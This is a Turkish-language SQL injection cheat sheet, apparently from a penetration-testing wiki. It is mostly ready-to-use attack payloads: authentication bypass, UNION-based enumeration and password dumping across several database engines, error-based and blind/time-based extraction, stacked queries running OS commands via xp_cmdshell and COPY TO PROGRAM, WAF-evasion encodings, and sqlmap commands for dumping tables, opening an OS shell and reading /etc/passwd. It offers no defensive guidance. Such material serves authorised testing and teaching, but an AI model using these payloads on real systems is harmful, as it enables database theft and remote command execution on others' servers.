SQL Injection
OWASP A03 · Injection difficulty: orta
SQL Injection (SQLi), kullanıcı girdisinin yeterince doğrulanmadan bir SQL sorgusuna eklenmesiyle oluşur. Saldırgan, sorgunun mantığını değiştirerek kimlik doğrulamayı atlatabilir, tüm veritabanını okuyabilir, veriyi değiştirebilir ve bazı yapılandırmalarda işletim sistemi komutu çalıştırabilir.
Nasıl oluşur
Section titled “Nasıl oluşur”Uygulama, girdiyi sorgu metnine string olarak birleştirdiğinde:
-- Sunucu tarafı (güvensiz birleştirme)SELECT * FROM users WHERE username = '$user' AND password = '$pass';username alanına admin’– - girildiğinde sorgu şuna dönüşür ve parola kontrolü yorum satırına düşer:
SELECT * FROM users WHERE username = 'admin'-- -' AND password = '';Aynı mantık sayısal bağlamda tırnak olmadan da geçerlidir:
SELECT * FROM products WHERE id = $id-- id = 1 OR 1=1Türleri
Section titled “Türleri”| Tür | Veri dönüşü | Tipik kullanım |
|---|---|---|
| In-band / UNION | Yanıtta doğrudan | Hızlı enum + dump |
| Error-based | Hata mesajında | UNION kapalıysa |
| Blind – Boolean | Doğru/yanlış farkı | Yanıt içeriği sabit |
| Blind – Time | Gecikme | Hiçbir fark yoksa |
| Out-of-band (OAST) | DNS/HTTP callback | Firewall arkasında |
| Stacked queries | Yan etki | ; DROP / xp_cmdshell |
Tespit
Section titled “Tespit”-
Kırılma noktasını bul — ’ , “ , ) , \ , %27 gibi karakterlerle sorguyu bozup hata, boş sonuç veya davranış değişikliği gözle. JSON/XML gövdelerini, cookie ve X-Forwarded-* başlıklarını da test et.
-
Mantıksal test — aynı isteği doğru ve yanlış koşullarla karşılaştır:
' OR '1'='1' AND '1'='21 AND 1=11 AND 1=2 -
Zaman testi — kör noktalarda gecikme enjekte et:
1' AND SLEEP(5)-- - -- MySQL / MariaDB1'; WAITFOR DELAY '0:0:5'-- - -- MSSQL1' AND pg_sleep(5)-- - -- PostgreSQL1' AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)-- - -- Oracle -
DBMS’i parmak izle — sürüm fonksiyonları ve hata metinleri:
' UNION SELECT @@version-- - -- MySQL / MSSQL' UNION SELECT version()-- - -- PostgreSQL / MySQL' UNION SELECT banner FROM v$version-- - -- Oracle
Komut üreteci
Section titled “Komut üreteci”sqlmap · dump
embedded toolsqlmap -u https://hedef/item?id=1 -p id -D shop -T users --dump --batchsqlmap · dump
Section titled “sqlmap · dump”Sömürü — UNION
Section titled “Sömürü — UNION”UNION başarılı olması için sütun sayısı ve uyumlu veri tipleri gerekir:
-- Sütun sayısını bul' ORDER BY 1-- -' ORDER BY 2-- -' ORDER BY 3-- - -- hata gelene kadar artır' UNION SELECT NULL,NULL,NULL-- --- Yansıyan sütunu bul (string dönen sütun)' UNION SELECT 'a','b','c'-- --- Veri çek (MySQL information_schema)' UNION SELECT NULL,table_name,NULL FROM information_schema.tables-- -' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -' UNION SELECT NULL,CONCAT(username,0x3a,password),NULL FROM users-- -PostgreSQL’de şema keşfi:
' UNION SELECT NULL,tablename,NULL FROM pg_tables-- -' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -MSSQL’de:
' UNION SELECT NULL,name,NULL FROM sysobjects WHERE xtype='U'-- -' UNION SELECT NULL,name,NULL FROM syscolumns WHERE id=OBJECT_ID('users')-- -Error-based
Section titled “Error-based”-- MySQL' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version())))-- -' AND UPDATEXML(1,CONCAT(0x7e,(SELECT user())),1)-- --- MSSQL' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))-- --- PostgreSQL' AND 1=CAST((SELECT version()) AS int)-- -Blind — Boolean & Time
Section titled “Blind — Boolean & Time”-- Boolean: ilk karakter 'a' mi?' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'-- --- Binary search / ascii' AND ASCII(SUBSTRING((SELECT database()),1,1))>90-- --- Time-based conditional (MySQL)' AND IF(SUBSTRING(database(),1,1)='s',SLEEP(5),0)-- --- MSSQL'; IF (SELECT SUBSTRING(db_name(),1,1))='m' WAITFOR DELAY '0:0:5'-- -Stacked queries & OS komutu
Section titled “Stacked queries & OS komutu”Stacked (;) çoğu zaman MSSQL / PostgreSQL’de desteklenir; MySQL connector’a bağlıdır.
-- MSSQL stacked'; SELECT 1; WAITFOR DELAY '0:0:5'-- --- xp_cmdshell (aktifse / enable edilebiliyorsa)'; EXEC xp_cmdshell 'whoami'-- --- PostgreSQL COPY / LO (yapılandırmaya bağlı)'; COPY (SELECT '') TO PROGRAM 'id'-- -Second-order SQLi
Section titled “Second-order SQLi”Payload önce bir alana (profil adı, ticket notu) yazılır; sonra başka bir sorguda tırnaksız kullanılır. Tespitte: saklanan değerde ’ bırak, sonra o değeri kullanan işlevi tetikle (rapor, arama, admin paneli).
WAF / filtre atlatma
Section titled “WAF / filtre atlatma”-- Yorum / boşluk alternatifleri/**/UNION/**/SELECT/**/%09UNION%0aSELECT -- tab / newlineUN/**/ION SEL/**/ECT-- Case / encodinguNiOn SeLeCt%55%4e%49%4f%4e%20%53%45%4c%45%43%54-- String birleştirme (MySQL)CONCAT('ad','min')CHAR(97,100,109,105,110)-- Anahtar kelime parçalamaSEL%00ECT -- bazı WAF'lar null byte keser (tarihsel)0x61646d696e -- hex literalsqlmap ile otomasyon
Section titled “sqlmap ile otomasyon”sqlmap -r request.txt --batchsqlmap -u "https://hedef/item?id=1" -p id --dbs --batchsqlmap -u "https://hedef/item?id=1" -D shop --tablessqlmap -u "https://hedef/item?id=1" -D shop -T users --dumpsqlmap -u "https://hedef/api/login" --data='{"user":"*","pass":"x"}' --batchsqlmap -r request.txt --level 5 --risk 3 --technique=BEUSTQ --batchsqlmap -r request.txt --os-shellsqlmap -r request.txt --file-read="/etc/passwd"Zincirleme senaryolar
Section titled “Zincirleme senaryolar”- SQLi → dosya okuma ( LOAD_FILE , pg_read_file ) → kaynak kod / config sızdırma
- SQLi → INTO OUTFILE / xp_cmdshell → web shell / RCE
- Blind SQLi → OAST (MySQL LOAD_FILE + UNC, MSSQL xp_dirtree ) ile hızlı exfil
- Auth bypass SQLi → admin paneli → başka zafiyetlere (upload, deserialization) geçiş